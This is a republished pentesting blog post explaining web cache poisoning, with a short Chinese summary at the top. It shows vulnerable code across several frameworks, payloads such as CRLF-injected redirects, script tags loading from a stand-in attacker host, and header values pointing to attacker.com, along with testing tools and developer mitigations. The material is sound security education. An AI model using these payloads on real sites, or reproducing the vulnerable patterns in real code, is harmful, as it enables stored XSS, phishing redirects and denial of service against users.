Poisoning the web: Ultimate guide to the web cache poisoning
文章讨论了Web缓存中毒攻击的概念及其潜在影响。通过分析常见漏洞、测试方法及防御措施,揭示了如何利用未正确处理的请求头或参数注入恶意内容,并介绍了检测工具如Param Miner和WCVS等。同时强调了正确配置缓存键的重要性以防止此类攻击。 2025-8-9 05:33:40 Author: infosecwriteups.com(查看原文) 阅读量:14 收藏

Manas Harsh

Press enter or click to view image in full size

Web cache poisoning is one of those bugs that can completely fly under the radar but has massive impact when pulled off right. Most websites these days use some kind of caching system — like CDNs (Cloudflare, Akamai), reverse proxies (Varnish, Nginx), or even simple web server-level caching. The whole point of caching is to save server resources and improve speed by storing copies of HTTP responses so that future requests for the same content are served faster.

But the way these systems decide what to cache and how to identify “same” requests is not always perfect. This is where things get interesting.

As a pentester, you’re not just looking at whether a site is caching responses — you’re trying to figure out if you can manipulate a request so that it stores your response in the cache, and that response is then served to other users. If the content you inject is malicious, you’ve essentially pulled off a reflected attack that scales to thousands of users. That’s the core idea behind web cache poisoning.

Now, this happens because caching systems usually build a cache key using parts of the request like the HTTP method, the path, maybe the host header — but they ignore other parts like custom headers or query parameters. That’s a problem when the app logic does rely on those inputs but the cache doesn’t. This mismatch lets you create a poisoned version of the response that looks the same from the cache’s point of view, but actually behaves very differently for the user.

Let’s look at where backend developers go wrong. Imagine a Python Flask app behind an Nginx reverse proxy. The developer might write something like this:

@app.route("/")
def index():
host = request.headers.get("X-Forwarded-Host", request.host)
return f"Welcome to {host}"

Now if you send a request with X-Forwarded-Host: evil.com, and the cache doesn’t include that header in its key, it might cache the response as “Welcome to evil.com” for everyone. Anyone hitting the homepage will see your poisoned content. That’s a textbook cache poisoning attack. And this doesn’t need to be just HTML—you could inject scripts, fake login pages, redirects, etc.

Another backend mistake I’ve seen is around HTTP headers being set directly from user input. Here’s a common PHP pattern:

$h = $_GET['h']; 
header("X-Custom: $h");

Looks harmless, but if the input isn’t sanitized, you can inject CRLF (%0D%0A) and break into actual response headers. You could set your own Cache-Control: public, force the server to cache something it shouldn’t, or even insert a redirect like Location: https://attacker.com. If the cache picks this up, now every user gets redirected to your phishing site.

When I’m testing for cache poisoning, the first thing I do is look at whether caching is even enabled. This means looking at headers like Cache-Control, Age, or checking if responses for the same page vary between requests. If I suspect caching, I start probing with custom headers—especially things like X-Forwarded-Host, X-Forwarded-Scheme, or query parameters like ?cb=123. These inputs don’t usually affect the cache key, but they might affect the response. If they get reflected, that’s the green light to go deeper.

One time, I found a site that reflected a cookie value into a JavaScript snippet on the homepage. The cookie looked like fehost=xyz, and in the response, it showed up in a script tag. I changed the value to fehost="><script>alert(1)</script>, and sure enough, the response contained my script. Then I removed the cookie, reloaded the page, and the script was still there. The response had been cached with my payload and was served to everyone. That was a super clean cache poisoning to stored XSS chain.

There was another case where a search parameter, ?q=, was reflected in the page title. I tried injecting HTML there, and the result was echoed without escaping. The cache didn’t treat query parameters as part of the key, so my payload was cached for that page. The next time anyone searched anything, they’d get a script popup. That got triaged quickly.

Even if you can’t pull off an XSS, you can do other nasty things — like redirect loops. I once used CRLF to insert Location: https://evil.com in the response. The server responded with a 302, and that was cached. So every time anyone hit the site root, they were redirected out. That was enough to cause a denial of service via cache poisoning.

Another powerful trick is mixing multiple headers. For instance, if the app builds absolute URLs using X-Forwarded-Host or X-Forwarded-Proto, you can mess with both. Set X-Forwarded-Host: attacker.com and X-Forwarded-Proto: https, and now internal links in the response point to your domain. If that response gets cached, your domain is everywhere, from links to forms to images.

When it comes to payloads, it’s just like reflected XSS. You inject something that alters the HTML, JS, or HTTP behavior, and make sure it gets cached. Some payloads I’ve used include:

X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: https

Even simpler payloads like redirect headers or HTML tags work when the reflection is in the right spot.

Once I confirm a poisonable input, I usually repeat the request without any injected headers or parameters to see if the poisoned response persists. That confirms it was cached. Some proxies let you verify the cache HIT/MISS status, too.

When I go hunting for web cache poisoning, I often lean on Burp Suite plus some plugins and open‑source tools to help me discover unkeyed inputs in headers and parameters. Using those, I try to poison shared caches so my injected content is served to other users.

One Burp extension I use all the time is Param Miner from PortSwigger. It auto‑discovers hidden parameters — like random cookie names or unused headers — that might not be obvious but could influence how the backend responds. Param Miner is excellent for finding spots where an unkeyed input might be reflected in HTML or JS. If you combine that with a cache that ignores those inputs in its key, PoC is only a request away.

There’s also Web Cache Deception Burp Extension, available on GitHub. It adds a simple “Test Web Cache Deception” option when you right-click a URL in your site map or proxy history. This plugin automates adding random extensions or file paths to trick the cache into storing private pages — super useful when the app only looks at path prefixes and the cache treats file extensions as static assets.

On top of Burp plugins, I often run WCVS (Web Cache Vulnerability Scanner) by Hackmanit in Go or Docker. That tool tries many poisoning techniques like unkeyed headers, parameter cloaking, HTTP response splitting, fat GET, smuggling, header oversize, parameter pollution, and more. It’s fast, flexible, and integrates well into CI or scripting workflows.

I also use CacheKiller, a tool from PortSwigger research GitHub repo. It helps detect URL parsing issues causing arbitrary cache poisoning or deception — for instance path normalization differences: /page, /page/, /page%20, etc.—and finds those weird inconsistencies the cache uses.

Burp plugin use examples: I open a target URL in Burp proxy history, right-click, and run Param Miner to guess hidden input names like xfh or cb. Then I use Repeater to craft requests with combinations of X-Forwarded-Host, X-Forwarded-Scheme, Origin, User-Agent, or custom guessed parameters. I look for reflection of these in HTML/headers and then request again clean to confirm caching.

In my testing workflow, after confirming caching is happening (observe Age, Cache‑Control, maybe Varnish headers or missing Vary), I fuzz various headers. The classic ones I test are:

  • Host, X-Forwarded-Host, X-Original-Host
  • X-Forwarded-Scheme, X-Forwarded-Proto
  • X-Forwarded-Port
  • Referer, Origin
  • User-Agent, Accept-Language
  • Custom headers like X-Custom, X-Request-ID
  • Cookies or parameters detected via Param Miner

I try to reflect those values through the app — particularly in HTML body, title tags, JS variables, or even headers like Location, Set-Cookie, Cache-Control. If the response includes my input but the cache key doesn’t include that header or param, I’ve got a potential poisoning spot.

Let me walk through a real-world scenario I tested recently:

A site had a homepage that reflected the Origin header inside a front-end script tag:

<script>
window.__ORIGIN__ = "{{ origin }}";
</script>

Where the backend replaced origin from the Origin header. I sent:

Origin: https://attacker.com

Then control requests without that header still returned cached HTML with my injected script. That means the Origin header was completely ignored by the cache key, allowing an XSS-based cache poisoning.

Another case involved HTTP/2. I used malformed headers that triggered a 400 error response, which the cache then stored. Any user requesting the page got the 400 cached page — resulting in cache-poisoned denial of service via the caching proxy.

Each time I find a poisoning bug, I document the full request flow: initial poison request, clean request hit cache, then victim request. I capture cached headers like Age, and show how the reflection and missing keying made this possible.

Now, here are the code examples how a vulernable code looks like, for different languages, functionalities and scenarios. Let’s start with Express apps written in Node.js:-

const express = require('express');
const app = express();

app.get('/', (req, res) => {
const host = req.headers['x-forwarded-host'] || req.headers.host;
res.send(`<h1>Welcome to ${host}</h1>`);
});

Moving over to Java apps, especially Spring Boot,

public String home(HttpServletRequest request, Model model) {
String forwardedHost = request.getHeader("X-Forwarded-Host");
model.addAttribute("host", forwardedHost);
return "home"; // renders home.html
}

Now imagine this app uses Thymeleaf or JSP for templates, and host is used inside a meta tag or script. If the cache doesn’t include X-Forwarded-Host in the key, that value can be injected and cached.

In Ruby on Rails, I’ve seen apps reflect the Accept-Language header, which many browsers send automatically.

class WelcomeController < ApplicationController
def index
@lang = request.headers['Accept-Language']
render html: "Language: #{@lang}".html_safe
end
end

This looks innocent, but it’s dangerous if caching is enabled and doesn’t account for this header.

You can send something like this:-

Accept-Language: <script src=//attacker/x.js></script>

Go apps are also pretty vulnerable when developers try to build full URLs from header input:

func handler(w http.ResponseWriter, r *http.Request) {
scheme := r.Header.Get("X-Forwarded-Proto")
host := r.Host
link := scheme + "://" + host + "/dashboard"
w.Write([]byte("Visit: <a href='" + link + "'>Dashboard</a>"))
}

Another one that flies under the radar is in ASP.NET (C#) apps:

public IActionResult Index(string referrer = "none")
{
return Content($"<html><body>Referrer: {referrer}</body></html>");
}

Here, the query string referrer is reflected into HTML. If caching is on and the cache doesn’t include query parameters (which happens if you're behind Nginx or Varnish with weak config), you can poison it with:

/?referrer=<script>alert(document.domain)</script>

One of my favorite examples comes from Next.js or React apps using SSR. These frameworks often run getServerSideProps() on each request, and developers pull headers like this:

export async function getServerSideProps({ req }) {
const host = req.headers['host'];
return {
props: {
host
}
}
}

What happens when you send:

Host: attacker.com

and the CDN or cache system doesn’t key the response on Host? The rendered page has meta tags pointing to attacker.com, which screws up social previews, indexing, and more.

Sometimes, it’s not even the backend that’s broken — it’s just a misconfigured Nginx cache.

location / {
proxy_pass http://backend;
proxy_cache my_cache;
proxy_cache_key "$scheme$host$request_uri";
}

If your app reflects anything from headers like X-Forwarded-Host or query strings like ?lang=, but Nginx doesn’t include those in the cache key, you’re wide open.

Press enter or click to view image in full size

These real‑world examples show that cache poisoning isn’t just theory; it’s practical if you probe right. That makes caching a huge attack surface if overlooked.

To learn more, besides PortSwigger’s Web Security Academy labs on cache poisoning and multiple‑header labs, check the Pentest‑Tools blog on cache poisoning updated just weeks ago. These are some solid resources to get better at cache poisoning.

Also explore the GitHub tools I mentioned — Param Miner, Web Cache Deception Scanner, Web‑Cache Vulnerability Scanner, and CacheKiller. Their README files alone are full of attack scenarios and payload examples.

Now, since we talked a lot about the attack part, let’s discuss some steps for developers how they can prevent it. Here are some solid mitigation steps for web cache poisoning:-

  • Never reflect user-controlled headers like X-Forwarded-Host, X-Forwarded-Proto, or Accept-Language directly into HTML or JavaScript.
  • Avoid building URLs or script tags using client-supplied data unless it’s strictly validated and sanitized.
  • Always define an explicit cache key that includes all user-controllable inputs that affect the response, especially if you’re using a reverse proxy like Nginx, Varnish, or a CDN.
  • Disable caching for dynamic content or personalized pages by using proper cache-control directives on the backend.
  • Use server-side frameworks or libraries that automatically manage safe caching strategies and don’t cache unexpected input.
  • Configure your CDN or proxy to vary the cache key on headers that are used in any part of response generation.
  • Regularly audit your caching behavior in both frontend and backend layers, especially when deploying new routes or logic.
  • Avoid using default or wildcard cache keys that exclude query strings or headers without a clear reason.
  • Conduct regular pentests that specifically test for unkeyed inputs and cache poisoning scenarios.

Web cache poisoning might not always be loud or flashy, but when it hits, it hits hard. It’s one of those bugs that rewards deep understanding of how caching works across layers — from CDN to backend — and how small misconfigurations can lead to big security holes. As pentesters, it’s our job to look for the cracks others miss. And with cache poisoning, those cracks often lie quietly behind everyday headers and logic. So next time you’re testing a target, slow down, look at the response headers, play with unkeyed inputs, and poison with intent — you might just uncover a bug that affects every user on the site.

Happy hacking!

LinkedIn:- Manas Harsh


文章来源: https://infosecwriteups.com/poisoning-the-web-ultimate-guide-to-the-web-cache-poisoning-ade6eb884d39?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh